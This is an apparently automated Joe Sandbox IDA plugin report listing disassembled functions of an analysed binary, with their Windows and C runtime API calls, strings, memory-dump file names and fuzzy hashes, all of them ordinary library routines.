Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: `#9$csm$csm$csm
API String ID: 2673424686-492565039
Opcode ID: 0940ef2abba5241a25e4feb2d148dbeb91bbffa00c726e9931527c4366cb6d8a
Instruction ID: 0ef0c3ada1fc9d50432e95d1905feb6229ffa2009896f1d3177da6d54d8bae8a
Opcode Fuzzy Hash: 0940ef2abba5241a25e4feb2d148dbeb91bbffa00c726e9931527c4366cb6d8a
Instruction Fuzzy Hash: 74B17E75800209EFCF36DFA4C8819AEB7B5FF04310F11856AF8196B616D739DA51CBA1

Function 00375440 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00375477
___except_validate_context_record.LIBVCRUNTIME ref: 0037547F
_ValidateLocalCookies.LIBCMT ref: 00375508
__IsNonwritableInCurrentImage.LIBCMT ref: 00375533
_ValidateLocalCookies.LIBCMT ref: 00375588

Strings

csm, xrefs: 0037551D

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d7b2a1579fc8b038a816ba1a224370d610d2197cf3e47dfc26425c17dab89f13
Instruction ID: eea91f71214cb33bd45f4a33df487dcf433d41f277f5c2646413b9b898f7cd99
Opcode Fuzzy Hash: d7b2a1579fc8b038a816ba1a224370d610d2197cf3e47dfc26425c17dab89f13
Instruction Fuzzy Hash: 1B41F330A006089BCF2AEF69C884A9E7BB6AF05324F14C195E91D6F352D7B5DE45CF90

Function 0037388E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003738A2
AcquireSRWLockExclusive.KERNEL32(?,?,0037386B,?,00000000,?,0036B20C,000000FF,?,0036ABAC,?,?,?,?,0036AFAA), ref: 003738C1
AcquireSRWLockExclusive.KERNEL32(?,?,0039D740,?,0037386B,?,00000000,?,0036B20C,000000FF,?,0036ABAC), ref: 003738EF
TryAcquireSRWLockExclusive.KERNEL32(?,?,0039D740,?,0037386B,?,00000000,?,0036B20C,000000FF,?,0036ABAC), ref: 0037394A
TryAcquireSRWLockExclusive.KERNEL32(?,?,0039D740,?,0037386B,?,00000000,?,0036B20C,000000FF,?,0036ABAC), ref: 00373961

Strings

k87, xrefs: 0037390F, 00373912

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID: k87
API String ID: 66001078-350348327
Opcode ID: 4eee5328e29a8997b94184188c29c31a8f7d0e0aac3ebb1f1753d30eef60f645
Instruction ID: ca34eab4a712d8afe08bda4e34832b46c88456c15e7f36790cef09f6232843ea
Opcode Fuzzy Hash: 4eee5328e29a8997b94184188c29c31a8f7d0e0aac3ebb1f1753d30eef60f645
Instruction Fuzzy Hash: C2416F31504A06DFCB32DF65C480BA9F3F8FF4A310B518A1AE64AD7540E778EA45EB51

Function 003813F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,BB40E64E,?,00381508,003631F2,?,00000000,?), ref: 003814BA

Strings

api-ms-, xrefs: 00381450
ext-ms-, xrefs: 00381464

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 9170e09c8bdd91376c84b7ae4416657c331f3746575bba14eb3f0634fbef3193
Instruction ID: 6ce23a82e104f594d1dd5a8c123a35e1d6ab3239994083963100092b6d2c1534
Opcode Fuzzy Hash: 9170e09c8bdd91376c84b7ae4416657c331f3746575bba14eb3f0634fbef3193
Instruction Fuzzy Hash: 1E212731A01311ABDB23AB66EC45A5A377C9B42374F370291E806E72D1E731ED02C7D0

Function 003747BB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 003747C1
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 003747CF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 003747E0

Strings

GetSystemTimePreciseAsFileTime, xrefs: 003747C9
GetTempPath2W, xrefs: 003747D5
kernel32.dll, xrefs: 003747BC

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 2d1cdfa811a9fc0fe9a79996e70e895e25a05898a06a086c5802df3fd6450e62
Instruction ID: 0f52050422cccb7b90a2c88cfba0ce81d01725c9253c1f921ad4cf010e736645
Opcode Fuzzy Hash: 2d1cdfa811a9fc0fe9a79996e70e895e25a05898a06a086c5802df3fd6450e62
Instruction Fuzzy Hash: 8AD05E31625610AF8B039B70BC4D8853ABCAB073017020153F840D21A0EB7508008A96

Function 00388F96 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1a563bf2227b9c97352592391597b582fed8e139a41b640e3685f80677c3a2a
Instruction ID: dd438498bd606927daedfcc2be9dcf0d0d43b4d66ffc3f64f748fe65879b0d61
Opcode Fuzzy Hash: c1a563bf2227b9c97352592391597b582fed8e139a41b640e3685f80677c3a2a
Instruction Fuzzy Hash: B9B10470A04349AFDB17EFA8C885BBD7BB5BF4A304F1941DAE804AB292C7759D41CB50

Function 0037F2AC Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0037F2A3,00374E61,003741CC), ref: 0037F2BA
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0037F2C8
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0037F2E1
SetLastError.KERNEL32(00000000,0037F2A3,00374E61,003741CC), ref: 0037F333

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: eaa9707d4a71d0ed9ed988362f58d540714c507f197076d5e368eb2c2f29a95b
Instruction ID: 9bc6318d8ba37566d8d11d2df5bef5a1e4b4421fc290f87205fb73a7cf355668
Opcode Fuzzy Hash: eaa9707d4a71d0ed9ed988362f58d540714c507f197076d5e368eb2c2f29a95b
Instruction Fuzzy Hash: 1001B13B21D7115EF63736B8BC8696B2A99FF06375B21423FF518491F2EF568C019240

Function 0037328F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00373296
std::_Lockit::_Lockit.LIBCPMT ref: 003732A0

Part of subcall function 00364360: std::_Lockit::_Lockit.LIBCPMT ref: 0036438E
Part of subcall function 00364360: std::_Lockit::~_Lockit.LIBCPMT ref: 003643B9

codecvt.LIBCPMT ref: 003732DA
std::_Lockit::~_Lockit.LIBCPMT ref: 00373311

Strings

X9, xrefs: 003732AB

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID: X9
API String ID: 3716348337-2150745001
Opcode ID: 0bd462d56de08ee16046c0ed04b7f4c83747894f5d62b93b3c86cb833cf534d0
Instruction ID: 4de0f959edd37300f8c7ae4c6daa099dee5487ec9d1cd1057998dd8290bd5656
Opcode Fuzzy Hash: 0bd462d56de08ee16046c0ed04b7f4c83747894f5d62b93b3c86cb833cf534d0
Instruction Fuzzy Hash: 0901D63AD002199BDB27EBA4D8056AD7775AF85720F248509F4196F291DF39DE00C781

Function 0037A53C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00390244,000000FF,?,0037A5FD,0037A4E4,?,0037A699,00000000), ref: 0037A571
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0037A583
FreeLibrary.KERNEL32(00000000,?,?,00000000,00390244,000000FF,?,0037A5FD,0037A4E4,?,0037A699,00000000), ref: 0037A5A5

Strings

mscoree.dll, xrefs: 0037A56A
CorExitProcess, xrefs: 0037A57B

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 89dbd7abe0307d1e4fca2342e982320f261f39dac2be0770bdb655c0f2a8b714
Instruction ID: 0dc77654bc30809e32894dabded088e824bbebdf189a1ee0fb98a74973b310ee
Opcode Fuzzy Hash: 89dbd7abe0307d1e4fca2342e982320f261f39dac2be0770bdb655c0f2a8b714
Instruction Fuzzy Hash: 4101A271A04A15AFCB139F50CC09FAEBBBCFB45B25F014626E815A22E0DB799900CE91

Function 00381BCD Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00381C52
__alloca_probe_16.LIBCMT ref: 00381D1B
__freea.LIBCMT ref: 00381D82

Part of subcall function 003804C1: HeapAlloc.KERNEL32(00000000,?,?,?,0037119F,?,?,003631F2,00001000,?,0036313A), ref: 003804F3

__freea.LIBCMT ref: 00381D95
__freea.LIBCMT ref: 00381DA2

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: fa7abb4a2505fa48615365dfde41a3e75079a2abbeeadd04158ddca4bd2bba8d
Instruction ID: c5a6948c8ca248aaffc5be195ca1dcd080685f6f6c372dcd77c854e858bd87fa
Opcode Fuzzy Hash: fa7abb4a2505fa48615365dfde41a3e75079a2abbeeadd04158ddca4bd2bba8d
Instruction Fuzzy Hash: 4951C572600306AFEB26BF64CC81EBB7BADEF44710B1645A9FD08DA151EB34DC168760

Function 00361870 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00361922
CloseHandle.KERNEL32 ref: 0036193E

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: CloseFileHandleSize
String ID:
API String ID: 3849164406-0
Opcode ID: 32d4ca73b525966d7f48c60394fa3cf705b25f6f7e892b4c2c15ef117138a0a8
Instruction ID: 80b510f36898ae1a22eae8aa9d677a5afb2d69fa66611fba3c3feb5356ff6549
Opcode Fuzzy Hash: 32d4ca73b525966d7f48c60394fa3cf705b25f6f7e892b4c2c15ef117138a0a8
Instruction Fuzzy Hash: 0C71BFB0D04248CFCB11EFA8D58879DBBF4BF48304F14852AE899AB345D735A945CF92

Function 0037184C Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00371853
std::_Lockit::_Lockit.LIBCPMT ref: 0037185E
std::_Lockit::~_Lockit.LIBCPMT ref: 003718CC

Part of subcall function 00371755: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0037176D

std::locale::_Setgloballocale.LIBCPMT ref: 00371879
_Yarn.LIBCPMT ref: 0037188F

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: cce93fb7f32fce5902a6430efe9f6024fc7e2909082391d491336037c74ece11
Instruction ID: 5473bc6cdecc1bc821b581f0724841bafe846a7a209bf8b49d5698fb4ac2cb25
Opcode Fuzzy Hash: cce93fb7f32fce5902a6430efe9f6024fc7e2909082391d491336037c74ece11
Instruction Fuzzy Hash: A701DF76A002109BCB2BEF28D84157C37B5BF85750B158549E8595B391EF3AAE42CB82

Function 0038AC01 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0038AC9D,00000000,?,0039EFA0,?,?,?,0038ABD4,00000004,InitializeCriticalSectionEx,00394F0C,00394F14), ref: 0038AC0E
GetLastError.KERNEL32(?,0038AC9D,00000000,?,0039EFA0,?,?,?,0038ABD4,00000004,InitializeCriticalSectionEx,00394F0C,00394F14,00000000,?,0038016C), ref: 0038AC18
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0038AC40

Strings

api-ms-, xrefs: 0038AC25

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 46f6c91373b9cf828b080491eba23b7b28a5b8e8cc45926956665d9de2f7478c
Instruction ID: bd90b3ee0349e14b046b91c8826f08ad67fe65a34d0e9a89f22a5ab24ed620aa
Opcode Fuzzy Hash: 46f6c91373b9cf828b080491eba23b7b28a5b8e8cc45926956665d9de2f7478c
Instruction Fuzzy Hash: DAE04F30380705BBFF222F61EC06F593E69AB10B42F164062F90DE80E1E766DD10878A

Function 00371256 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(0039E448,00000004,?,0036917E,?,?,003690E8,?,00368F17), ref: 00371260
ReleaseSRWLockExclusive.KERNEL32(0039E448,?,0036917E,?,?,003690E8,?,00368F17), ref: 00371293
WakeAllConditionVariable.KERNEL32(0039E444,?,0036917E,?,?,003690E8,?,00368F17), ref: 0037129E

Strings

H9, xrefs: 0037125A

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionReleaseVariableWake
String ID: H9
API String ID: 1466638765-3771814955
Opcode ID: 5efc81d644edf42cfa12caf1fac3eb42c83f07753d48aff98cb5f189864b3c6b
Instruction ID: 7ccb40b3dd3f63ebf7a7ed7f0dacd96f896d542225dd108882aaf4b04e962bea
Opcode Fuzzy Hash: 5efc81d644edf42cfa12caf1fac3eb42c83f07753d48aff98cb5f189864b3c6b
Instruction Fuzzy Hash: 61F03975605500DFC706EF69E84988477FCEB0D301F09412BF90983320DA766900CF92

Function 00388366 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 003883C9

Part of subcall function 003805D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00381D78,?,00000000,-00000008), ref: 00380632

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0038861B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00388661
GetLastError.KERNEL32 ref: 00388704

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: f2e74b0b19af17e1b20de779aab753af232376edaad83d58a26ebbd9cadd02f4
Instruction ID: c06599ade18d54acecd30c2bb7aade74658876793128e5fff8d4019fb3be3ded
Opcode Fuzzy Hash: f2e74b0b19af17e1b20de779aab753af232376edaad83d58a26ebbd9cadd02f4
Instruction Fuzzy Hash: A1D18975D002489FCF16DFA8C8809EDBBB9FF49314F6845AAE516EB351DB30A941CB50

Function 0037F84B Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0037F912
___AdjustPointer.LIBCMT ref: 0037F935
___AdjustPointer.LIBCMT ref: 0037F9D1

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137654977.00000000003A1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137674171.00000000003A4000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137707534.00000000003ED000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_360000_EUCyhuW.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 46c07ac6fb765db3a439c967ce0de1aa4fd9a6220d21aa8794e87967ae7f0b9b
Instruction ID: 2bf793d2302544d09542ebf921b868eae563e726fcb9c4d9384af75fdc0e5a6b
Opcode Fuzzy Hash: 46c07ac6fb765db3a439c967ce0de1aa4fd9a6220d21aa8794e87967ae7f0b9b
Instruction Fuzzy Hash: 8051EE72A04202BFDB3B8F14D841BBAB3A4FF05710F15853DEA198B691D739AD80DB91

Function 00386192 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 003805D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00381D78,?,00000000,-00000008), ref: 00380632

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 003861F6
__dosmaperr.LIBCMT ref: 003861FD
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00386237
__dosmaperr.LIBCMT ref: 0038623E

Memory Dump Source

Source File: 00000009.00000002.3137587772.0000000000361000.00000020.00000001.01000000.00000009.sdmp, Offset: 00360000, based on PE: true

Associated: 00000009.00000002.3137555622.0000000000360000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137615903.0000000000391000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.3137635842.000000000039C000.00000008.00000001.01000000.00000009.sdmpDownload File
